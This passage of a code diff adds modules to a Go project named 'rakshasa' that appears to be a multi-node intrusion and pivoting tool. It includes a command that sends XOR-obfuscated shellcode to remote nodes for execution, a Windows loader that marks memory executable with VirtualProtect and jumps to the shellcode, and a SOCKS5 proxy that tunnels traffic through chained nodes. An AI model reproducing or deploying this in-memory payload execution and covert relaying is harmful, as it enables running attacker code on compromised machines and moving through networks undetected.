n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{1, byte(cmd.id), byte(cmd.id >> 8), byte(cmd.id >> 16), byte(cmd.id >> 24), 0}, res...))
return nil
}
+159
View File
@@ -0,0 +1,159 @@
package server
import (
"encoding/base64"
"encoding/hex"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"os"
"os/exec"
"path/filepath"
"rakshasa/common"
"strconv"
"time"
"github.com/luyu6056/ishell"
)
type ShellCodeStruct struct {
Str string
Key string
Param string
TimeOut int //second
}
func RunShellcodeWithDst(dst, shellcode, xorKey, param string, timeout int) error {
if dst != "" {
n, err := getNodeWithCurrentNode(dst)
if err != nil {
return fmt.Errorf("无法链接节点%s,错误%v", dst, err)
}
s := ShellCodeStruct{
Str: shellcode,
Key: xorKey,
Param: param,
TimeOut: timeout,
}
if n.uuid == currentNode.uuid {
return doShellcode(s)
}
res := make(chan interface{}, 1)
id := n.storeQuery(res)
b, _ := json.Marshal(s)
n.Write(common.CMD_RUN_SHELLCODE, id, b)
select {
case v := <-res:
fmt.Println("运行结果\n", v)
case <-time.After(time.Second * time.Duration(timeout) * 2):
fmt.Println("运行超时无结果")
}
} else {
b, err := ioutil.ReadFile(shellcode)
if err != nil {
return currentNodeRunShellcode(shellcode, xorKey, param)
} else {
return currentNodeRunShellcode(string(b), xorKey, param)
}
}
return nil
}
func currentNodeRunShellcode(shellcode, xorKey, param string) error {
common.ChangeArg(param)
b, err := hex.DecodeString(shellcode)
if err != nil {
b, err = base64.RawStdEncoding.DecodeString(shellcode)
}
if err != nil {
b = []byte(shellcode)
//fmt.Println(err)
//return errors.New("shellcode hex/base64 解码失败")
}
if len(xorKey) > 0 {
for i := 0; i < len(b); i++ {
k := i % (len(xorKey))
b[i] = b[i] ^ xorKey[k]
}
}
shellcodeRun(b)
return nil
}
func init() {
shellcode := cliInit()
shellcode.SetPrompt("rakshasa\\shellcode>")
shellcode.AddCmd(&ishell.Cmd{
Name: "run",
Help: "运行shellcode,参数一为目标节点,参数二为shellcode代码或者本地文件,参数三为xor解密key,参数四为启动参数,参数五为等待时间(默认3秒)",
Func: func(c *ishell.Context) {
if len(c.Args) < 2 {
c.Println("参数错误")
return
}
xorKey := ""
if len(c.Args) > 2 {
xorKey = c.Args[2]
}
param := ""
if len(c.Args) > 3 {
param = c.Args[3]
}
b, err := ioutil.ReadFile(c.Args[0])
if err != nil {
b = []byte(c.Args[0])
}
timeout := 3
if len(c.Args) > 4 {
t, err := strconv.Atoi(c.Args[4])
if err == nil {
timeout = t
}
}
err = RunShellcodeWithDst(string(b), c.Args[1], xorKey, param, timeout)
if err != nil {
c.Println(err)
}
},
})
rootCli.AddCmd(&ishell.Cmd{
Name: "shellcode",
Help: "执行shellcode",
Func: func(c *ishell.Context) {
shellcode.Run()
},
})
}
func doShellcode(s ShellCodeStruct) error {
path, _ := os.Executable()
_, exeName := filepath.Split(path)
cmd := exec.Command("./"+exeName, "-shellcode", s.Str, "-sXor", s.Key, "-sParam", s.Param)
reschan := make(chan string, 2)
go func() {
r, _ := cmd.CombinedOutput()
reschan <- string(r)
}()
select {
case res := <-reschan:
return errors.New(res)
case <-time.After(time.Second * (time.Duration(s.TimeOut))):
return errors.New("已执行,等待超时")
}
}
+10
View File
@@ -0,0 +1,10 @@
//go:build linux || darwin
// +build linux darwin
package server
import "errors"
func shellcodeRun(b []byte) error {
return errors.New("linux暂不支持")
}
+37
View File
@@ -0,0 +1,37 @@
//go:build windows
// +build windows
package server
import (
"fmt"
"syscall"
"unsafe"
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
VirtualProtect = kernel32.MustFindProc("VirtualProtect")
old32 = syscall.MustLoadDLL("ole32.dll")
CoTaskMemAlloc = old32.MustFindProc("CoTaskMemAlloc")
)
func shellcodeRun(code []byte) error {
defer func() {
if err := recover(); err != nil {
fmt.Println(err)
}
}()
l := uintptr(len(code))
pwstrLocal, _, _ := CoTaskMemAlloc.Call(l)
var old int
_, _, _ = VirtualProtect.Call(pwstrLocal, l, 0x40, uintptr(unsafe.Pointer(&old)))
h := [3]uintptr{pwstrLocal, l, l}
s := *(*[]byte)(unsafe.Pointer(&h))
copy(s, code)
syscall.Syscall(pwstrLocal, 0, 0, 0, 0)
return nil
}
+585
View File
@@ -0,0 +1,585 @@
package server
import (
"bytes"
"encoding/binary"
"errors"
"fmt"
"hash/crc32"
"log"
"net"
"rakshasa/common"
"runtime/debug"
"strconv"
"strings"
"sync"
"sync/atomic"
"unsafe"
"github.com/luyu6056/ishell"
)
const (
STATUS_OFF = 0
STATUS_ON = 1
UDP_PORT_MIN = 30000
UDP_PORT_MAX = 60000
SOCKES5_VERSION = 5
)
var (
SOCKES5_AUTH_SUSSCES []byte = []byte{5, 0}
SOCKES5_AUTHPW_SUSSCES []byte = []byte{5, 2}
PROTOCOL_ERR = errors.New("protocolErr")
)
const (
SERVER_NUM = 4 //有效的连接数量
CONN_AUTH_CLOSE = 0
CONN_AUTH_NONE = 1
CONN_AUTH_PW = 2
CONN_AUTH_OK = 3
CONN_AUTH_MESSAGE = 4
CONN_REMOTE_CLOSE = 0
CONN_REMOTE_OPEN = 1
)
type clientConnect struct {
cfg *common.Addr
windowsSize int64
isClose int32
conn net.Conn
udpConn net.Conn
remote int32
auth int
server *node
id uint32
wait chan int
close string
udpMap sync.Map
udpRepData []byte
addrData []byte
listenId uint32
}
func (s *clientConnect) Write(b []byte) {
switch b[0] {
case common.CMD_CONNECT_BYIDADDR_RESULT:
switch common.NetWork(b[1]) {
case common.SOCKS5_CMD_CONNECT:
if b[2] != 1 {
go func() { s.Close("") }()
} else {
//发送成功消息
s.auth = CONN_AUTH_MESSAGE
s.conn.Write(append([]byte{5, 0, 0}, s.addrData...))
}
case common.SOCKS5_CMD_BIND:
s.auth = CONN_AUTH_MESSAGE
s.conn.Write(append([]byte{5, 0, 0}, s.addrData...))
case common.RAW_TCP:
if b[2] != 1 {
go func() { s.Close("") }()
}
default:
log.Println("未处理")
}
case common.CMD_CONN_MSG:
if common.Debug {
fmt.Println("收到", crc32.ChecksumIEEE(b[1:]), len(b[1:]))
}
s.conn.Write(b[1:])
s.Addwindow(int64(-len(b[1:])))
case common.CMD_CONN_UDP_MSG:
s.udpConn.Write(b[1:])
}
}
var remoteClose = "服务器要求远程关闭"
func (s *clientConnect) Close(msg string) {
if atomic.CompareAndSwapInt32(&s.isClose, 0, 1) {
<-s.wait
s.wait <- common.CONN_STATUS_CLOSE
s.auth = CONN_AUTH_CLOSE
s.server.connMap.Delete(s.id)
if msg == "" {
msg = "未知关闭"
}
s.close = msg
if msg == remoteClose {
s.remote = CONN_REMOTE_CLOSE
} else if s.remote == CONN_REMOTE_OPEN {
s.remote = CONN_REMOTE_CLOSE
s.Remoteclose()
}
if common.Debug {
fmt.Println("close 原因", msg)
}
s.conn.Close()
if s.udpConn != nil {
s.udpConn.Close()
}
s.udpMap.Range(func(k, _ interface{}) bool {
s.udpMap.Delete(k)
return true
})
}
}
func (s *clientConnect) Addwindow(window int64) {
windows_size := atomic.AddInt64(&s.windowsSize, window)
windows_update_size := int64(common.INIT_WINDOWS_SIZE)
if windows_size < windows_update_size/2 { //扩大窗口
if size := windows_update_size - s.windowsSize; size > 0 {
atomic.AddInt64(&s.windowsSize, size)
go func() {
buf := make([]byte, 8)
buf[0] = byte(size & 255)
buf[1] = byte(size >> 8 & 255)
buf[2] = byte(size >> 16 & 255)
buf[3] = byte(size >> 24 & 255)
buf[4] = byte(size >> 32 & 255)
buf[5] = byte(size >> 40 & 255)
buf[6] = byte(size >> 48 & 255)
buf[7] = byte(size >> 56 & 255)
s.server.Write(common.CMD_WINDOWS_UPDATE, s.id, buf)
}()
}
}
}
func StartSocks5(cfg *common.Addr, dst []string) error {
var target *node
var err error
if len(dst) == 0 {
target = currentNode
} else {
target, err = GetNodeFromAddrs(dst)
if err != nil {
return err
}
}
l := &clientListen{
server: target,
localAddr: cfg.Addr(),
id: common.GetID(),
typ: "socks5",
}
l.listen, err = StartSocks5WithServer(cfg, target, l.id)
if err != nil {
return err
}
currentNode.listenMap.Store(l.id, l)
return nil
}
func StartSocks5WithServer(cfg *common.Addr, n *node, id uint32) (net.Listener, error) {
l, err := net.Listen("tcp", cfg.Addr())
if err != nil {
return nil, err
}
fmt.Println("socks5 start ", cfg.Addr())
go func() {
for {
conn, err := l.Accept()
if err != nil {
if err.(*net.OpError).Err == net.ErrClosed {
return
}
continue
}
c := &clientConnect{
cfg: cfg,
conn: conn,
server: n,
listenId: id,
}
go handleSocks5Local(c)
}
}()
return l, nil
}
func (s *clientConnect) OnOpened() (close bool) {
s.wait = make(chan int, 1)
s.auth = CONN_AUTH_NONE
s.remote = CONN_REMOTE_OPEN
s.windowsSize = 0
s.wait <- common.CONN_STATUS_OK
return
}
// 监听本地服务
func handleSocks5Local(s *clientConnect) {
defer func() {
if err := recover(); err != nil {
fmt.Println(err)
debug.PrintStack()
}
}()
b := make([]byte, common.MAX_PLAINTEXT-8)
if s.OnOpened() {
s.Close("无法获得服务器连接")
}
for {
n, err := s.conn.Read(b)
if err != nil {
s.Close(err.Error())
return
}
data := b[:n]
switch s.auth {
case CONN_AUTH_NONE:
if len(data) > 2 {
if data[0] == 5 {
if s.cfg.User() != "" && s.cfg.Password() != "" {
s.conn.Write(SOCKES5_AUTH_SUSSCES)
s.auth = CONN_AUTH_PW
} else {
s.conn.Write(SOCKES5_AUTH_SUSSCES)
s.auth = CONN_AUTH_OK
}
}
}
case CONN_AUTH_PW:
if s.cfg.User() != "" && s.cfg.Password() != "" {
if len(data) > 4 {
defer recover()
user := string(data[2 : 2+data[1]])
password := string(data[3+data[1] : 3+data[1]+data[2+data[1]]])
if user == s.cfg.User() && password == s.cfg.Password() {
s.conn.Write([]byte{5, 0})
s.auth = CONN_AUTH_OK
} else {
s.conn.Write([]byte{5, 1})
}
}
} else {
s.conn.Write([]byte{5, 0})
s.auth = CONN_AUTH_OK
}
case CONN_AUTH_OK:
s.addrData = data[3:]
switch common.NetWork(data[1]) {
case common.SOCKS5_CMD_CONNECT:
addr, port := socks5ReadAddr(data)
s.connect(common.SOCKS5_CMD_CONNECT, addr, port)
case common.SOCKS5_CMD_BIND:
addr, port := socks5ReadAddr(data)
s.connect(common.SOCKS5_CMD_BIND, addr, port)
case common.SOCKS5_CMD_UDP:
localIP := s.conn.LocalAddr().String()
localIP = localIP[:strings.Index(localIP, ":")]
//找一个能用的udp端口
var port uint16
for i := uint16(UDP_PORT_MIN); i <= UDP_PORT_MAX; i++ {
s.udpConn, err = net.ListenUDP("udp", &net.UDPAddr{
IP: net.ParseIP(localIP),
Port: int(i),
})
if err == nil {
port = i
break
}
}
if s.udpConn == nil {
data[0] = 5
data[1] = 1 //RepRuleFailure
s.conn.Write(data)
continue
}
repdata := []byte{5, 0, 0, 1, 0, 0, 0, 0, byte(port >> 8), byte(port)}
ipb := ipToByte(localIP)
addr, port := socks5ReadAddr(data)
s.connect(common.SOCKS5_CMD_UDP, addr, port)
copy(repdata[4:], ipb)
s.conn.Write(repdata)
go handleSocks5Udp(s)
default:
data[0] = 5
data[1] = 7 //RepCmdNotSupported
s.conn.Write(data)
}
case CONN_AUTH_MESSAGE:
//binary.LittleEndian.PutUint32(outbuf[5:], crc32.ChecksumIEEE(data)+conn.msgno)
//conn.msgno++
var new_size int64
if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口
atomic.AddInt64(&s.windowsSize, new_size)
} else {
new_size = 0
}
buf := make([]byte, 8)
buf[0] = byte(new_size)
buf[1] = byte(new_size >> 8)
buf[2] = byte(new_size >> 16)
buf[3] = byte(new_size >> 24)
buf[4] = byte(new_size >> 32)
buf[5] = byte(new_size >> 40)
buf[6] = byte(new_size >> 48)
buf[7] = byte(new_size >> 56)
if common.Debug {
fmt.Println("发送", crc32.ChecksumIEEE(data), len(data))
}
s.server.Write(common.CMD_CONN_MSG, s.id, append(buf, data...))
}
}
}
func handleSocks5Udp(s *clientConnect) {
var b = make([]byte, 65535)
for {
n, err := s.udpConn.Read(b)
if err != nil {
s.Close(err.Error())
return
}
data := b[:n]
if b[2] != 0 {
//不支持分片
continue
}
data = data[3:]
common.GetIDLock.Lock()
var udpid uint32
switch data[0] {
case 1:
ip := fmt.Sprintf("%d.%d.%d.%d:%d", data[1], data[2], data[3], data[4], int(data[5])<<8|int(data[6]))
if v, ok := s.udpMap.Load(ip); !ok {
udps := &clientConnect{
server: s.server,
}
udps.udpConn = s.udpConn
udps.id = udps.server.storeConn(s)
udpid = udps.id
udps.udpRepData = make([]byte, 10)
copy(udps.udpRepData, data)
udps.udpMap.Store(ip, udpid)
} else {
udpid = v.(uint32)
}
case 3:
case 4:
}
common.GetIDLock.Unlock()
buf := make([]byte, 4)
buf[0] = byte(udpid)
buf[1] = byte(udpid >> 8)
buf[2] = byte(udpid >> 16)
buf[3] = byte(udpid >> 24)
s.server.Write(common.CMD_CONN_UDP_MSG, udpid, append(buf, data...))
}
}
func (s *clientConnect) connect(command common.NetWork, addr string, port uint16) {
ports := strconv.Itoa(int(port))
buf := make([]byte, 2+len(addr)+len(ports))
s.id = s.server.storeConn(s)
buf[0] = byte(command)
copy(buf[1:], addr)
buf[1+len(addr)] = ':'
copy(buf[2+len(addr):], ports)
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, buf)
if value, ok := s.server.listenMap.Load(s.listenId); ok {
switch v := value.(type) {
case *serverListen:
v.connMap.Store(s.id, s)
case *clientListen:
v.connMap.Store(s.id, s)
}
}
}
func Bytes2str(b []byte) string {
return *(*string)(unsafe.Pointer(&b))
}
func (s *clientConnect) Remoteclose() {
s.close = "本地要求远程关闭"
buf := make([]byte, 4)
buf[0] = byte(s.id)
buf[1] = byte(s.id >> 8)
buf[2] = byte(s.id >> 16)
buf[3] = byte(s.id >> 24)
s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, buf)
}
func init() {
socks5shell := cliInit()
socks5shell.SetPrompt("rakshasa\\socks5>")
socks5shell.AddCmd(&ishell.Cmd{
Name: "list",
Help: "列出当前连接的ID和其他信息",
Func: func(c *ishell.Context) {
var list []*clientListen
currentNode.listenMap.Range(func(key, value interface{}) bool {
if v, ok := value.(*clientListen); ok && v.typ == "socks5" {
list = append(list, v)
}
return true
})
orderClientListen(list)
fmt.Println("当前监听端口数量:", len(list))
for _, v := range list {
fmt.Println("ID", v.id, "本地监听端口", v.localAddr, "转发服务器uuid", v.server.uuid)
}
},
})
socks5shell.AddCmd(&ishell.Cmd{
Name: "new-socks5",
Help: "新建一个socks5连接,使用方法 new-socks5 配置字符串 目标服务器 如 new-socks5 admin:[email protected]:1080 127.0.0.1:8881,127.0.0.1:8882",
Func: func(c *ishell.Context) {
if len(c.Args) < 1 {
c.Println("参数错误,例子 new-socks5 admin:[email protected]:1080")
return
}
cfg, err := common.ParseAddr(c.Args[0])
if err != nil {
c.Println(err)
return
}
nodes := []string{}
if len(c.Args) == 2 {
nodes = strings.Split(c.Args[1], ",")
}
if err := StartSocks5(cfg, nodes); err != nil {
c.Println("本地socks5启动失败", err)
} else {
c.Println("本地socks5启动成功")
}
},
})
socks5shell.AddCmd(&ishell.Cmd{
Name: "close",
Help: "关闭一个socsk5监听实例,使用方法 close ID",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误,例子 close 1")
return
}
id, _ := strconv.Atoi(c.Args[0])
var l *clientListen
if value, ok := currentNode.listenMap.Load(uint32(id)); ok {
if v, ok := value.(*clientListen); ok && v.typ == "socks5" {
l = v
}
}
if l == nil {
c.Println("没有找到ID为", id, "的连接")
} else {
l.Close("命令行关闭")
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
currentNode.listenMap.Delete(uint32(id))
}
},
})
rootCli.AddCmd(&ishell.Cmd{
Name: "socks5",
Help: "进入socks5功能",
Func: func(c *ishell.Context) {
socks5shell.Run()
},
})
}
func ipToByte(ip string) []byte {
var b []byte
if strings.Contains(ip, ".") {
for _, s := range strings.Split(ip, ".") {
i, _ := strconv.Atoi(s)
b = append(b, byte(i))
}
}
return b
}
func socks5ReadAddr(data []byte) (addr string, port uint16) {
port = binary.BigEndian.Uint16(data[len(data)-2:])
switch data[3] {
case 1: //ipv4
str := make([][]byte, 4)
for k, v := range data[4:8] {
str[k] = []byte(strconv.Itoa(int(v)))
}
addr = string(bytes.Join(str, []byte{46}))
case 3: //域名
addr = string(data[5 : len(data)-2])
case 4: //ipv6
strs := make([]string, 0)
for i := 4; i < 20; i += 2 {
str := ""
for j := 0; j < 2; j++ {
str += fmt.Sprintf("%0.2x", data[i+j])
}
str = strings.TrimLeft(str, "0")
if str == "" {
str = "0"
}
strs = append(strs, str)
}
addr = "[" + strings.Join(strs, ":") + "]"
default:
}
return
}